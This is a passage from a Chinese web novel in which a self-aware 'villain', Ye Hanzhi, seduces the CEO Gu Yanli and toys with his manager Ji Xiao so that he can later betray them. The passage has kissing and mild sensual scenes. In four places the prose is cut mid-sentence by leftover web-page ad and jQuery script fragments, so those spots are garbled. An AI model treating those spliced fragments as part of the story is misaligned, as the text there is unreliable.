季肖直起身体,淡淡地笑了笑,“他对你,还真是用心了。” 叶寒枝偏过头去,顾砚礼正在和导演说话,看起来是刚进来,似是察觉到叶寒枝的视线后看过来,唇角带着和煦的微笑。 叶寒枝站起身来,几步走到顾砚礼旁边,眉眼弯弯,“顾先生。” “嗯。”顾砚礼说,“导演说你演的很好。” 叶寒枝露出羞涩的笑容来。 “导演说晚上才有武打训练,我把栖息带来了,要去看看它吗?” 大金主在这里这么说,导演微笑着,“卸妆后去吧。” 叶寒枝两根手指头拽着顾砚礼的袖子往化妆室去,他察觉到顾砚礼一直在看着他后,回过头来,“顾先生,怎么了?” “……”顾砚礼的视线落在叶寒枝脸上,轻声说,“很好看。” 叶寒枝笑盈盈道,“好看,是你的。” 顾砚礼耳朵微热,他想说叶寒枝是独立的个体,不属于任何人,可不知出于何种心理,顾砚礼什么都没说。 叶寒枝在化妆间坐下后,顾砚礼按住他的手,声音很低,“我替你取假发。” 叶寒枝唔了声,抬眼,“那么就辛苦顾先生了。” “不辛苦。”顾砚礼的说。 叶寒枝的假发只用一根白色绸带在脑后轻轻挽着,很素,但很漂亮。 顾砚礼动作轻柔地替叶寒枝把假发取下来放到一旁,“等会儿化妆师会来收拾,脸上化妆了吗?” 叶寒枝看着镜子里的自己,轻笑,“顾先生在夸我吗?” 顾砚礼垂下眼,低声说,“看不出来化了妆,很好看。” 叶寒枝说,“画的不浓,只是为了更符合流云的气质,顾先生,我换衣服。” 顾砚礼说好,就要退出去。 “顾先生。” 顾砚礼疑问地看着叶寒枝,“怎么了?” “这个衣服有些复杂。”叶寒枝脸色有些红,“我不太会脱……你帮我叫一下整理衣服的工作人员好吗?” 叫工作人员来帮叶寒枝脱衣服? 顾砚礼拉上化妆间的门,“我帮你 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 看看。” 叶寒枝小声说好。 二人进入更衣室,更衣室本来就不大,一个叶寒枝就算了,顾砚礼长得高大,一进来就占据了大半的空间,显得更衣室逼仄狭窄。 温度似乎一下子就高了起来。 顾砚礼在原地僵了片刻缓缓放松身体,“我……我给你看看。” 叶寒枝似乎并无察觉异常,他答应了声好。 顾砚礼低下头替叶寒枝把戏服的衣带解开,这戏服看着简单,却有好几层不说,还有各种各样的配件,的确不太好整理。 但顾砚礼很有耐心,他嗅着叶寒枝身上熟悉的香味,眸色都温柔下来。 叶寒枝微微抬眸,看着顾砚礼认真的模样小声说,“顾先生,小猫在哪里?” “我让人先送到酒店了,怕外面人多应激。” “我的房间吗?” “不是,我另外开了一间房。”顾砚礼说,“今天晚上我不回去,明天参加了开机仪式我再回去。” 叶寒枝的手指轻碰着顾砚礼的领结,“顾先生都没跟我说。” “我想见到你再和你说。” 脱到最后一层,顾砚礼收了手,“你先换,我出去等你。” 叶寒枝把交领解开,露出胸前大片雪白的肌肤,顾砚礼慌忙移开脸,“我……我还没出去。” “嗯?”叶寒枝有些无辜地抬起头,“有什么关系?” 顾砚礼:“……” 那片肌肤白得晃眼,他不敢多看,只道,“我先出去。” 顾砚礼的手刚放上门把,外面却响起一道声音来,应该是剧组的工作人员。 “叶寒枝和顾总看起来真的关系不一般啊,我之前还以为是传言呢。” “也不知道是在谈恋爱还是包养关系,顾总以前没传过这些绯闻,应该是在谈恋爱吧?” 这会儿出去显然误会会更大,顾砚礼的手慢慢地放下来,但面前的叶寒枝完全没有避讳他的意思。 过分狭窄的更衣室里,叶寒枝换衣服的动作难免会碰到顾砚礼,顾砚礼绷紧了身体,控制自己不要去看叶寒枝,但那白花花的皮肤却总是从眼前划过。 外面的两个人也不知道在找什么东西,一边说着话一边翻腾着,旁边的叶寒枝身上那股香味让顾砚礼的呼吸沉了些。 “顾先生。”叶寒枝忽然压低了声音叫道。 顾砚礼转过头来,用唇语问,“换好了?” 叶寒枝摇头,他双手攀上顾砚礼的肩,用气音说,“挨得太近了我不好换裤子。” 顾砚礼又绷紧了身体,他只觉得叶寒枝的温度都传到了他的身上,让他控制不住想要伸手掐住叶寒枝的腰。 “顾先生,你扶我一下,我换裤子。” 顾砚礼木着脸点头,一平米多的空间确实狭窄,他能感受到叶寒枝碰到了他的身体。 很热。 顾砚礼想,这个空间里都是叶寒枝的味道,让他浑身发热。 这样的热他很少有过,一般发生在…… “顾先生。”叶寒枝的气音又在耳边响起,“你的喉结在滚动。” 喉结、在滚动。 因为热,因为…… 顾砚礼缓缓地低下头来,看着脸颊泛红的叶寒枝,声音低哑的,“嗯,渴了。” 叶寒枝的手环上顾砚礼的颈项抬头,他的嘴唇极轻地碰了碰顾砚礼的下巴,气音极柔,“那……喝水吗?” 这个吻似是伊甸园里散发着诱人香味的苹果,顾砚礼脑子里只有一个念头,要喝水。 他低下头,轻易擒住了引诱着他的唇。 属于叶寒枝的,柔软又香甜的唇。 12.金丝雀12 “奇怪,我记得放在这里的,怎么找不到啊?”外面工作人员的声音响起,带着疑惑,“是不是被人拿错了?” “再找找?” 再找找。 狭窄逼仄的更衣室里,叶寒枝被顾砚礼罩得很紧,整个人被搂在怀里密不可分。 叶寒枝搂着顾砚礼的肩,稍微分了分神,还有些惊讶,他确实没想到顾砚礼的吻竟然是这样的,毫无君子之风。 好像真的很渴一样,顾砚礼的吻也远不如他人温柔,亲得又急又凶,舌头席卷而来,舌面舔得叶寒枝腿脚发软,眼角沁出泪来。 外面还有人。 唇舌交缠的声音被密封在更衣室里,只要不仔细听,不会发现有人在里面。 但很快他就没有心思去想这些了,顾砚礼似乎要把他吞吃入腹一般,缠着他的舌根吮着,让他头皮发麻,浑身发软。 叶寒枝不得不抱紧顾砚礼的肩,极轻的呜咽声从唇齿间泄露出来。 “什么声音?”外面的工作人员停下来,“我怎么好像听见了什么奇怪的声音?” “是老鼠吧,前两天打扫卫生的时候就看见过。”另一个人应声,“我们还是快走吧,无问问其他人有没有拿。” 随着咔嚓一声关门声,外面彻底安静下来,顾砚礼的吻渐渐地温柔了下来,然后他轻舔了几下叶寒枝的唇移开。 叶寒枝喘着气,没什么力气地挂在顾砚礼怀里,他呢喃着,“顾先生……” 顾砚礼的目光凝在叶寒枝微红的眼尾上片刻,又下移到叶寒枝被亲得红艳的唇上,他抬起手指碰了碰叶寒枝的唇,“疼吗?” “……”叶寒枝把脸埋在顾砚礼肩上轻轻摇了摇头。 “抱歉,我没忍住。”顾砚礼有些不自在,“我刚才……” “这样不好吗?”叶寒枝抬起头看着顾砚礼,他说,“顾先生不喜欢我吗?” 顾砚礼张了张嘴,他以前虽然没喜欢过别人,却也知道叶寒枝对自己来说不一样,从见到叶寒枝的第一眼起他就知道,叶寒枝和所有人都不同。 他这样好像显得很虚伪。 明明就是顺理成章的喜欢着叶寒枝,否则怎么对叶寒枝这样破例?所谓的不喜欢男人也是……不过是没有遇上叶寒枝而已。 顾砚礼低下头来,鼻尖轻轻地蹭着叶寒枝的脸,“喜欢,寒枝,我会对你好的。” 叶寒枝睫毛轻颤,“顾先生的喜欢……是喜欢我还是喜欢亲我?” 顾砚礼呢喃,“喜欢你,是一见钟情的喜欢。” 是看见那张侧脸时,心口那一瞬间的悸动,只是那个时候顾砚礼还不明白而已。 叶寒枝踮起脚尖,又碰了碰顾砚礼的唇,眼中带着轻柔的笑,“顾先生,若是你发现我并不是表现出来的这副模样,还会喜欢吗?” “什么样我都喜欢。”顾砚礼说,“只要是你我就喜欢。” 叶寒枝眨了眨眼,“真的吗?即便是……我不是好人?” 顾砚礼含笑,“你说的是靠近我寻求庇护吗?” 叶寒枝唇角扬了扬,他拉着顾砚礼出去,“走吧,去看小猫。” 肥啾不解,「你问他这个做什么?你动心了?」 「不是。」叶寒枝说,「试探一下他的底线而已。」 「顾砚礼不能接受背叛和踩在法律底线上起舞的人。」肥啾说,「你想好怎么处理了吗?」 「当然。」 「那你打算什么时候……」 「别急嘛,他说喜欢我呢,我都没能体验一下他的活怎么样。」叶寒枝嘟囔着,「不过男人变心也挺快嘛……不是为白月光守身如玉吗?竟然这么禁不住诱惑。」 肥啾:「……你引诱他不就是为了现在吗?」 「那也不关我的事啊,他要真的很坚定,我怎么引诱他都不会上当的。」叶寒枝幽幽道,「他活该被骗,等他老了我们回来给他卖保健品吧。」 肥啾:「……」 「等最浓情蜜意的时候他发现喜欢的人在骗他,甚至连喜欢他也是假的,那个时候肯定会很崩溃吧……」叶寒枝抬头看着顾砚礼,看着那双温柔多情的双眸,唇角勾起,「真想知道他会如何应对曾经的“爱人”。」 …… 小猫趴在猫窝里,季肖坐在沙发上宛若一摊死鱼,听见开门声他猛地站起来抬头看去,见顾砚礼握着叶寒枝的手进来。 季肖心下微沉,他的视线从叶寒枝红润的唇上扫过,神色不明,“顾砚礼,你把我艺人带去哪里了?这么久才回来。” “换戏服。”顾砚礼说。 “这可是他的第一部戏,你们别闹出什么花边新闻来才好。”季肖淡淡地笑了笑,“毕竟有点太明显了。” 顾砚礼愣了一下,“我知道了。” “顾先生。”叶寒枝拉了拉顾砚礼打断了季肖和顾砚礼的话,“看猫。” 小猫已经从窝里站了起来,弓着身子伸了个懒腰,睁着眼朝叶寒枝走来。 叶寒枝站在原地没动,他盯着那只瘦小的猫咪,眼底的情绪复杂难明。 猫咪在叶寒枝面前停下,脑袋蹭了蹭叶寒枝的脚踝,喵呜喵呜地叫起来,蹭了叶寒枝一下却让叶寒枝浑身都绷紧了起来,他甚至带着几分警惕地看着脚边的猫,废了很大的力气控制自己,让自己不至于把这脆弱的生命推开。 顾砚礼的视线从猫身上移到叶寒枝身上,随即一怔,叶寒枝的身体有些许僵硬,像是被小动物亲近而感到不知所措。 “寒枝。”顾砚礼声音温和,温暖的手覆上叶寒枝的手背,“要摸一下吗?” 叶寒枝吞咽了一下口水,缓缓地蹲下去。 猫咪喵喵叫着来蹭叶寒枝的指尖,小动物很能分辨人类的情绪,或许它感受到了叶寒枝的害怕。 叶寒枝倏地蜷缩了一下手指,眼前有些眩晕。 “寒枝?” 叶寒枝稳住自己的身体,看着那只一直蹭自己猫没有抬头,许久才说,“在我还很小的时候,我也养过猫。” 不应该说是养过猫,而是那只猫锲而不舍地跟着他。 那个时候叶寒枝八岁,他混迹在贫民窟中,靠偷骗过活,贫民窟都是一些快活不下去的老弱病残或者亡命之徒,对叶寒枝这样的小孩当然也不会手软。 不过他已经习惯被人抓到后自己会被揍一顿这种事了,只要死不了他总能找方法活下去的。 那天他抓着偷来的馒头,坐在摇摇欲坠的危房下面,听见了微弱的喵呜声,是一只脏兮兮断了腿的猫,浑身的毛都凝固着,看起来格外凄惨。 猫嗅着味 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 道,拖着断腿来到叶寒枝旁边,舔着他的手指,喵喵叫着。 “这是我的。”叶寒枝把馒头攥得很紧,对着猫龇牙咧齿,“你快走开!” 猫又喵呜叫着,黑黝黝的眼睛看着叶寒枝,眼里却燃烧着对生的渴望。 叶寒枝和它对峙许久,也不知道是不是从猫的眼中看到了自己的影子,最终掰了一小半馒头给猫咪,“吃完了就走,算你幸运,今天遇到的是我。” 猫乖乖地把馒头吃完,然后又抬头看着叶寒枝,但眼中饥饿的渴望没有那么浓了。 “这是我的!”叶寒枝三两口把馒头塞进嘴里,恶狠狠地瞪着猫,“你该走了!” 平时一个馒头他能吃两顿,因为这只脏兮兮的猫,他只能吃一顿,又要去寻找新的食物了。 猫似乎不知道叶寒枝在赶它走一样,依旧拖着那条断腿跟在叶寒枝身后安静地跟着,偶尔叫两声,跟的时间久了,叶寒枝时常会忘记自己身后有一只猫,但叶寒枝倒也习惯了每次都分一点东西给猫吃。 他吃什么,猫就吃什么。 偶尔他还会和猫团伙作案,猫去吸引那些人的注意,他悄悄地去偷一些吃的。 一人一猫倒是成了这贫民窟特别的组合,那些卖东西的老板不仅提防着叶寒枝还得提防着一只猫。 叶寒枝偶尔摸摸猫的脑袋,“你看看你,又脏又丑,也只有我不嫌弃你了。” 被pua的猫呜呜地蹭叶寒枝的掌心。 叶寒枝又会念叨,“现在就看我们谁先过上好日子,你要过上好日子可千万不要忘记我啊……不过指望你还不如指望我自己,毕竟你这副模样肯定没人喜欢的。” 一只干巴巴的,瘦到只剩皮包骨的猫,整天跟在叶寒枝身后晃荡着,让叶寒枝不至于那么寂寞。 那个时候,叶寒枝还是怕寂寞的,虽然叶寒枝不承认,但猫或许的确算得上叶寒枝的伙伴。 后来…… 猫咪的喵呜声打断了叶寒枝的回忆,他垂眼看着面前洗干净后白白的猫咪,有些不记得那种猫是什么颜色的了,好像是纯黑色的,因为贫民窟的人都说那只猫不吉利。 顾砚礼轻轻地扣住了叶寒枝的手,眉宇中藏着浓浓的心疼,他低声说,“以后不会再有那样的日子了。” 早就没有过那样的日子了,也不会再有第二只瘸腿猫了,面前这只猫长胖后肯定很可爱,和丑陋的瘸腿猫完全不同。 或许正是这只猫看起来太白了,很有生命力,叶寒枝才觉得有些莫名的恐惧。 在视频里看着还好,真的看到了,他并不愿意靠近,这种感觉让他浑身不自在,因为叶寒枝并不能接受自己怕一只猫。 叶寒枝微微侧头对上顾砚礼的双眸,他含笑着点了点头。 他和那只瘸腿猫为了一个馒头被人追着的时候,顾砚礼正在家人的关怀下吃着山珍海味。 他睡在危房之中,而顾砚礼正躺在柔软的大床上做着香甜的梦。 顾砚礼是被寄予厚望的主角,温柔善良又体贴,而他坑蒙拐骗无一不做,为了活下去理所当然出卖自己的人格,是被系统认定的反派。 他们本来就不是一路人,现在待在一起不过是因为,他打心底厌恶着这样的人,想要看到天之骄子因为他这样的恶人痛苦不堪而已。 13.金丝雀13 定妆照一出,叶寒枝流云这个词条果然飞快窜上热搜,很大一部分原著粉表示看定妆照很满意。 「就是不知道动起来怎么样,希望不要毁了流云。」 「这张脸在这里怎么也毁不了,我还是很看好的……怎么说,总觉得比星河娱乐发的照片漂亮多了。」 「买股叶寒枝,我觉得他能大火特火成为顶流。」 「你是说那个签约之后连微博账号也不开通的叶寒枝吗?你是说那个除了剧组发的定妆照和星河娱乐发了一张照片后,再也没有任何消息的叶寒枝吗?什么?你也知道我粉上了一个好像毫无事业心的男人啊?」 顾砚礼捏了捏叶寒枝的脸蛋,轻笑着,“真的不需要开账号吗?也不需要你做些什么,营业也有工作人员。” “不必。”叶寒枝坚持,“得不到的才是最好的。” 顾砚礼莞尔,“好。” “不过顾先生。”叶寒枝蹭上顾砚礼的颈项,“我的日常可以由你发啊,作为星河娱乐CEO,你有账号嘛。” 顾砚礼忍不住滚动了一下喉结,“没关系吗?” “有什么关系?我又不做什么流量爱豆,也不靠粉丝吃饭,谈恋爱又如何呢。”叶寒枝搂着顾砚礼的肩,似是委屈,“还是说,你很介意和我一起出现在热搜上?” 顾砚礼的手扶着叶寒枝的腰,去亲叶寒枝的唇,低声喃喃,“我很乐意……” 叶寒枝唇一弯,他跨坐在顾砚礼怀里,伸了手指轻轻地触碰顾砚礼的喉结,“顾先生,您这样说我可要当真了。” “我说的每一句话都是真的。”顾砚礼喉结滚动着,目光灼灼地看着叶寒枝,“你想要做什么我都支持你,只要你想要的我就给你。” “真的吗?”叶寒枝低下头,微凉的呼吸落在顾砚礼的唇角,轻声细语,“顾先生,你家里人应该不同意你和一个男人在一起吧?” “他们会尊重我的决定,也会尊重你的。”顾砚礼罩着叶寒枝腰的手收紧,心底却很欢喜,叶寒枝在想他们以后的事情。 叶寒枝的眸光微微黯淡了一瞬,“你的父母很爱你。” “也会爱你。”顾砚礼亲了亲叶寒枝的唇,“你缺少的,他们也会给你。” 叶寒枝低低地笑了两声,他说,“顾先生,您离开后我会很想你的。” 顾砚礼轻轻咬了一下叶寒枝的锁骨,“我也是。” “不过你该走了。”叶寒枝从顾砚礼怀里站起来,眼波流转,“等你下次来看我。” 怀里的温度骤然远离,顾砚礼的心头也一空,他看着叶寒枝的表情,好半晌才说,“我知道了。” 顾砚礼看起来依依不舍,叶寒枝心底却已经不耐烦起来,他耐着性子想,都怪顾砚礼,没事提什么家里人,谁想知道顾砚礼家里人喜欢他还是讨厌他。 微笑着挥手送顾砚礼离开后,叶寒枝冷着一张脸擦了擦被顾砚礼舔过的锁骨,跟狗似的,恶心死了。 季肖从一旁转过身来,淡淡道,“我还以为你真的喜欢他。” “那当然。”叶寒枝微笑,“喜欢他的钱,喜欢他的脸,这怎么不是喜欢呢?” 季肖神色复杂地看着叶寒枝,“你这样做,高兴吗?” “当然高兴。”叶寒枝抬了抬眼皮看着季肖,“露出这种表情做什么?你该不会认为我会有愧疚这种情绪吧?” “他对你很上心,他是真的喜欢你。” “对啊。”叶寒枝陡然靠近季肖,“不如你去告诉他好了,告诉他我是一个爱慕虚荣,为了钱才接近他的人。” “你——”季肖眼中眼中含怒,忍不住拔高了声音,“你就非要这样作贱自己吗?” “嗯?”叶寒枝疑惑地歪了歪脑袋,“我为了让自己活的更好,怎么叫作贱自己?” 季肖深深地吐出一口气来,“叶寒枝。” “我说你这么生气做什么?我又没骗你。”叶寒枝手指轻点了点唇,他看着季肖,露出恍然大悟的表情来,“我知道了,你喜欢我,你嫉妒我勾引顾砚礼?你嫉妒顾砚礼对吧?” 季肖忽地咬紧牙,冷冷地看着叶寒枝,在叶寒枝似笑非笑,漫不经心的目光中,最终转身大步离去。 太过分了。季肖想,他要告诉顾砚礼的,他不能看着顾砚礼越陷越深了。 季肖掬了捧水泼到脸上,看着镜子里的自己,却有一瞬间茫然。 “你嫉妒顾砚礼对吧?”叶寒枝的话又在耳边响起。 嫉妒……顾砚礼。 他羡慕过,但没嫉妒过,羡慕顾砚礼天生就有一个好家世,父母友爱,做什么都能做得好,上学就是教授最看中的弟子,天之骄子四个字名副其实。 而他是农村里考出来,他面对顾砚礼也曾自卑过,但也仅仅是这样而已,从来没有嫉妒过,至少以前是这样的。 …… 顾砚礼离开后,叶寒枝投入了如火如荼的拍摄之中。 早出晚归,和顾砚礼联系得更少了,应该说,叶寒枝看见顾砚礼的消息都会抛到一边,偶尔才回一次。 肥啾不明白叶寒枝在做什么,「不怕他怀疑你吗?」 「怀疑我什么?」叶寒枝说到这里,忽地眼睛一亮,「没错,肥啾,得让他怀疑一下我啊。” 肥啾:「?」 它没懂叶寒枝什么意思。 「别管,听我吩咐就是了。」叶寒枝抬了抬下巴,「让我们试探一下,顾砚礼的底线在哪里。」 叶寒枝看向季肖,若有所思。 季肖对叶寒枝的视线格外敏锐,他转过头来对上叶寒枝的视线,微微皱眉,“你看我做什么?” “不能看吗?”叶寒枝支着下巴,“肖哥,你好像很排斥我,我好像没惹你吧。” 季肖淡淡道,“星河娱乐那边在给你找助理,等助理来了之后我就回去。” “这么快回去啊?”叶寒枝笑盈盈,“你不敢面对我?还是不敢面对顾砚礼?” 季肖冷着脸看着叶寒枝,“你想多了。” “真的吗?”叶寒枝幽幽道,“我还以为你因为喜欢我而不敢面对顾砚礼呢。” 季肖眼皮跳了好几下,他连忙看了看周围,见所有人的注意力都在走戏的男女主身上时才松了口气。 叶寒枝却一脸无辜,毫无自觉,这让季肖有一种自己要犯心脏病的错觉。 “这是在外面,你不要太过分了!”季肖咬牙。 “啊?”叶寒枝眨了眨眼,“我们又没什么见不得人的关系。” 季肖:“……” 不知道为什么,总之他觉得心脏更难受了。 他弯 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 下腰靠近叶寒枝,压低了声音,“你不要被顾砚礼知道你在外面勾三搭四吗?” “勾三搭四?”叶寒枝葱白的手指拽着季肖的领带,笑容灿烂,“你不会说的是你吧?” “……” “老实说。”叶寒枝的呼吸落在季肖耳侧,凉凉的,却格外诱人,说出来的话却毫无温度,“你真的很有自信——” 话音一落,他推开了季肖站起来,轻轻拍了拍身上不存在的灰尘,眉目间的漫不经心却尤其伤人。 叶寒枝这个人嘴里每一句好话,季肖已经习惯了。他发现自己不仅没生气,甚至觉得若是叶寒枝这样和他说话也行,毕竟叶寒枝只在他面前展现出真实的自己。 真是……季肖深深地吐出一口气来,他知道叶寒枝说的是对的,因为觉察到自己或许喜欢上叶寒枝了,怕对不起顾砚礼,他必须得离开叶寒枝身边才行。 同时他在心底狠狠地骂了自己一句真是犯贱,明明知道叶寒枝看不起他还非得喜欢。 …… 叶寒枝开了门,步伐轻快地走进房间。 他刚找好睡衣,手机嘟嘟地振动起来,叶寒枝探头看了一眼,是顾砚礼。 叶寒枝眯了眯眼,在视频要自动挂掉的时候才接了来,唇角的笑容依旧。 视频里的顾砚礼穿着裁剪得体的西装,领带系得一丝不苟,连发丝都整理得无比妥帖。 叶寒枝眸光闪了闪,“顾先生,您去参加了什么活动吗?” “没有。”顾砚礼眸光温柔,他伸出手指轻轻摩挲着屏幕上叶寒枝的脸,“寒枝,你觉得我长得怎么样?” “嗯?”叶寒枝疑惑,“为什么突然问这个?” “就是问问。” “顾先生长得很英俊。”叶寒枝笑眯眯道,“我很喜欢顾先生的长相。” 顾砚礼不受控制地扬了扬唇角,轻咳一声,“所以,只喜欢我,不喜欢别人对吗?” “当然不喜欢别人呀。”叶寒枝眉眼弯弯,“顾先生,您要对自己有自信,就算是帅哥美女如云的娱乐圈,也没有谁长得比顾先生更英俊了。” 顾砚礼笑容更深,虽然知道叶寒枝或许是在逗他开心,可他还是觉得高兴,这样就说明……叶寒枝还是喜欢他的。 “顾先生,我得先去洗个澡。”叶寒枝在屏幕里挥了挥手,“先挂了,如果洗完澡你还没休息我们再开视频吧。” “不开了。”顾砚礼说,“你明天要早起,洗完澡好好睡一觉。” 叶寒枝眨巴了一下眼,“好。” 挂完电话后,叶寒枝又收到了顾砚礼发来的照片,带着昂贵手表的手握着猫猫的爪子,看起来在和他打招呼。 叶寒枝极轻地挑了挑眉,放下手机,去泡澡。 顾砚礼发完照片后唇角的笑才慢慢地缓和下来,他点进邮箱,看着匿名者发来的照片,脸上的表情缓缓的往下沉了沉。 是季肖和叶寒枝同框的照片。 他本不该多想,毕竟娱乐圈很多狗仔会借位拍照,搞出绯闻来,但顾砚礼的脑子却闪过探班的时候,季肖弯腰和叶寒枝说话的那一幕,只一眼他也能看出来,季肖对叶寒枝不一样。 屏幕看起来那么亲密的照片,如同亲吻的角度,又是谁发的? 故意挑衅吗?还是别有目的? 14.金丝雀14 “那个叶寒枝?我和他是老乡啊,他在老家那边可是人人喊打,没想到在这里成了时不时上热搜的大明星。” “是我们公司那个叶寒枝?” “除了他还有谁?他之前可是因为偷东西蹲过局子的,而且当家教骗人家学生钱财和感情……啧啧,他的事迹你让我说三天三夜也说不完。” “他看起来可不像是那样的人。” “这就是知人知面不知心呐,他一向都会用那张无辜漂亮的脸蛋儿来骗人。” 顾砚礼的脚步一收,转过头去看着拐角处,那边的人是在说……寒枝? “他那张脸蛋看着的确带劲。”里面压低了声音,“说不定已经爬上了老板的床。” 沈助理眼皮跳着,颇有些不安地去看顾砚礼的表情,他这个老板是很少发脾气的,情绪一向很稳定,也不知道发脾气的时候是什么样子。 重点当然不是这个,身为老板身边的助理,沈助理很清楚顾砚礼对叶寒枝是什么感情,而现在…… 顾砚礼出现打断了两个人的对话,那两个男人吓得后退好几步,“顾、顾总!” 顾砚礼没什么情绪的上下扫了他们一眼,最后在两个人惴惴不安的表情中开口,“沈助理,我们公司不需要在背后对艺人造谣生事的人。” 沈助理连忙说是。 顾砚礼没再去看那两个人,转身就走。 “我,我没有造谣生事,在老家那边都查得到!”身后的人大喊着,“顾总,顾总,和他解约才应该是星河娱乐做的!” 难怪公司最近有了些风言风语,顾砚礼暗忖着,原来是因为有人在背后传播,得尽快解决这些谣言的源头才是,否则寒枝回来听见了会难过吧。 电梯叮的一声,顾砚礼低头看着手机。 #《浮生》剧组主演聚餐,叶寒枝和经纪人关系亲密# 视频有些糊,但能看得到季肖半搂着叶寒枝的腰,把人往车里塞。 喝醉了吗? 顾砚礼缓缓握紧了手机,信任寒枝才是他现在最应该做的,娱乐圈那些狗仔的小伎俩他比谁都清楚。 “顾总。”沈助理在一旁说,“刚才解雇那两个人需要去警告一下吗?说不定会在外面胡说八道。” 顾砚礼嗯了声,“如果再在外面传这样的谣言,星河娱乐不介意给他们送律师函。” 沈助理记下。 “今天下午有什么工作?”顾砚礼问。 沈助理翻了下行程表说,“两点半总公司有个董事会。” 顾砚礼颔首,“董事会结束后,我要去一趟浮生剧组视察。” 沈助理噤声,说是视察,其实是去看叶寒枝吧。 “给寒枝的助理找到了吗?”顾砚礼又问。 沈助理连忙说,“今天还有两个来面试的,顾总要看看吗?” …… 中午的戏是男主和流云竹林对峙的文戏。 这一幕是实景拍摄,导演跑了两天找到的一大片竹林,这个时候的竹叶子微微泛着点黄,但莫名衬景。 叶寒枝握着剧本正在走戏,肥啾在他耳边小声说,「前反派的事顾砚礼知道了。」 叶寒枝唇角带着和煦的微笑,「嗯,他什么反应?」 「他把那两个人开除了,看来很相信你。」 「是吗?」叶寒枝不置可否。 「不过让你被黑锅……」 「黑锅吗?其实也算不上。」叶寒枝呢喃着,「不过是……经历重合了而已。」 所以叶寒枝有时候会感慨,原反派和他之前的经历还有些相似。 肥啾扑闪了一下翅膀,「怎么样都行,他现在就怀疑你了,有防备了你就伤不了他了。」 「是吗?」叶寒枝幽幽道,「这就是顾砚礼不做背调的后果,要不然怎么会这么轻易被骗呢?」 肥啾:「……」 季肖站在一旁,看着叶寒枝温和带笑的模样,记忆却陡然回到了昨天晚上。 因为晚上的时候比平时早些下工,在男女主角的邀请下,叶寒枝和季肖也加入了吃烧烤的队伍之中。 也不知道是谁先叫了啤酒,叶寒枝跟风喝了几杯,这一喝,就有些醉醺醺的模样。 白皙的皮肤肉眼可见地泛着些微的红,耳边男女主几个人的笑声很大,调侃叶寒枝不会喝酒。 叶寒枝掩饰性地遮了遮耳朵,嘟囔着自己不是不会喝酒,只是酒的度数有些高。 “既然喝醉了咱们也早点回去吧。”男主角笑道,“明天还要拍戏,得保持一个好一点的状态。” “回去后好好休息,明天晚上有夜戏呢……不过寒枝好像没有。” “唔……”叶寒枝含糊地应了一声,“回去,睡觉。” 他撑着桌子站起来,摇摇晃晃地往外走,“我没有醉,就是有点晕乎,我还是很清醒的。” “明明就是醉了。”女主角无奈地摇了摇头,“走吧,大家都回去了。” “肖哥,你也扶着点寒枝,免得他摔倒了。” 季肖沉默着扶住了叶寒枝的肩,叶寒枝抬起泛着水雾的双眸看了季肖一眼,忽然抬手捏着季肖的脸,“小狗。” 季肖不想和醉鬼计较,他说,“回去了。” “小狗。”叶寒枝没什么力气地靠着季肖,“我不喜欢会咬人的狗。” 季肖低头看了一眼叶寒枝,他不确定这个人是真的醉了还是假装的,应该是真的醉了,毕竟清醒的叶寒枝不会这样和他说话。 想到这里,季肖的声音软了些,“一直是你在欺负我,我没有咬过你。” “欺负?”叶寒枝歪了歪脑袋,他抓着季肖的衣服稳住自己的身形,“我才没有欺负你……我喜欢的人我才想欺负。” “你是小学生吗?”季肖的心跳却因为这句话快速跳了起来,他想,叶寒枝明明一直在戏弄他,欺负他……所以,叶寒枝会是喜欢他吗? 他抓着叶寒枝的手从自己肩上搭去,另一只手搂住了叶寒枝纤细的腰肢,距离太近了,季肖能闻到叶寒枝身上淡淡的酒味,他轻声问,“你是不是真的喜欢上顾砚礼了?” 叶寒枝没有回答他,季肖再看过去,发现人已经半闭着眼昏昏欲睡了,显然是没有听见他这句话的。 季肖弯了弯唇角,他想,顾砚礼可以给叶寒枝的,他也不是不能给,那些资源也好,人脉也罢,除了没有顾砚礼的家世,季肖不觉得现在的自己不如顾砚礼。 如果叶寒枝想要的话…… 他开了门,把叶寒枝放到床上,青年翻了个身嘟囔,“我要洗澡。” 季肖说,“你喝多了,不洗澡。” 叶寒枝睁开眼,眼中还带着迷蒙的醉意,他一把拽住季肖的领带把人拉到自己面前。 这样的距离让季肖有些心猿意马,他喉结滚动了一下,手指轻轻按上叶寒枝的后脑,“寒枝……” 叶寒枝不焦距的视线努力集中在季肖脸上,他的手指从季肖的脸划到下巴,“别说话。” 季肖闭了嘴,只觉得叶寒枝的指尖让他浑身泛着痒,痒到了心尖上,控制不住想把叶寒枝抱进怀里。 叶寒枝潜意识里,是不是也是信任他的? “我需要……”叶寒枝呢喃着,“季肖。” 季肖浑身一震,不可置信地低下头看着叶寒枝,这个眼神似乎镇住了叶寒枝。 叶寒枝怔愣着看了他许久,似乎认出他来,倏地 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 松了手推开他,“季肖……你怎么在我房间?” 鼻间的味道骤然远去,季肖呼吸都满了半拍,他看着叶寒枝没说话。 刚才那个柔软的,仿佛要说出真心话依靠着他的青年消失得无影无踪,取而代之的,依旧是往常那个会调笑的青年。 “你该不会是……想做小三吧?”叶寒枝扶着床站起来,唇角的笑都不太真切,“要背叛你的好兄弟和我站在一起吗?还是说……你想和我来个一夜情?” 要背叛他的好兄弟…… 一夜情。 季肖缓缓攥紧了拳,他到现在也不知道叶寒枝到底本性是什么样的,难道真的有人醉了还在演戏吗? 还是说…… “过!”导演的声音传来,“寒枝过来看看刚才的走位。” 季肖看向那边,白衣出尘的青年轻快地走到导演旁边。 昨天晚上的事只有他还记得,今天早上的叶寒枝已经忘得干干净净,就好像叶寒枝永远不会在意他一样。 顾砚礼、兄弟…… 他现在做的事情,和背叛兄弟有什么区别?如果叶寒枝说需要他的话,他是不是真的会彻底背叛顾砚礼,会二话不说地来到叶寒枝身边做一只摇尾乞怜的狗? 他真的有那么贱吗?他没有,他不会,他不可能做什么男小三。 只需要离叶寒枝远一点就好了,等到给叶寒枝找的助理来,他马上离开这里。 